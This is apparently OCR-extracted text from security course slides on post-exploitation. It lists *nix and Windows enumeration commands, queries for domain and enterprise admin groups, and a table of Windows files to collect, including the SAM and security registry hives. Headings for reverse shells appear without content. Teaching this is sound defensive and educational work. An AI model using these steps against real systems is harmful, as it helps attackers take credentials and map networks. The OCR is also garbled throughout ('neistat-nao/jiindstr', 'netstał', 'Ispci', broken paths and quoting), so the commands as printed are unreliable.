arch, uname -m	pythonversion	getenforce	
W	df -k	dmesg	
who	mount	Ispci	

This slide depicts post-exploitation commands to run for more useful information.

*nix Syste	m Checks	
 lsusb	which nmap	
lscpu	locate bin/nmap	
lshw	locate bin/nc	
ex	jps -l	
cat /proc/cpuinfo	java -version	
cat /proc/meminfo		
du -hmax-depth=1 /		
Advanced Secu	rity Essentials	

This slide depicts post-exploitation files to check for more useful information.











Finding Important Files (1)



Finding Important Files (2)



Reverse Shells (1)



Reverse Shells (2)



whoami	
whoami /all	
set	
fsutil fsinfo drives	
reg query HKLM /s /d /f "C:* *.exe" find /I "C:\" find /V """"	

ipconfig /all	neistat-nao/jiindstr	nel user/domain
ipconfig /displaydns	netstat -na findstr LISTENING	net accounts
netstat -nabo	netsh diag show all	net accounts /domain
netstał -s -p [tcp]udp icpm]ip]	net view	net localgroup administrators
netstat -r	net view /domain	net localgroup administrators /domain
netstat -na findstr :445	net view /domain:otherdomain	net group "Domain Admins" /domain
netstat -nao findstr LISTENING	net user %USERNAME% /domain	net group "Enterprise Admins /domain

Windows Networking (1)



Windows Networking (2)





Windows Files to Grab		
%SYSTEMDRIVE%\pagefile. sys	%WINDIR%Asystem32llogfile shttperrihttporri.log	%WINDIR%\system32\confin \software.sav
%WINDIR%\debug\NetSetup.I og	%SystemDrive%\inetpub\logs\ LogFiles	%WINDIR%\system32\config\ system.sav
%WINDIR%\repair\sam	%WINDIR%\system32\logfiles\ w3svc1\exYYMMDD.log (year month day)	%WINDIR%\system32\CCM\\ gs*.log
%WINDIR%\repair\system	%WINDIR%\system32\config\ AppEvent.Evt	%USERPROFILE%\ntuser.da
%WINDIR%\repair\software	%WINDIR%\system32\config\ SecEvent.Evt	%USERPROFILE%\LocalS~1 Tempor~1\Content.IE5\index.o at
%WINDIR%\repair\security	%WINDIR%\system32\config\ default.sav	%WINDIR%\System32\drivers \etc\hosts
%WINDIR%\iis6.log (5, 6 or 7)	%WINDIR%\system32\config\ security.sav	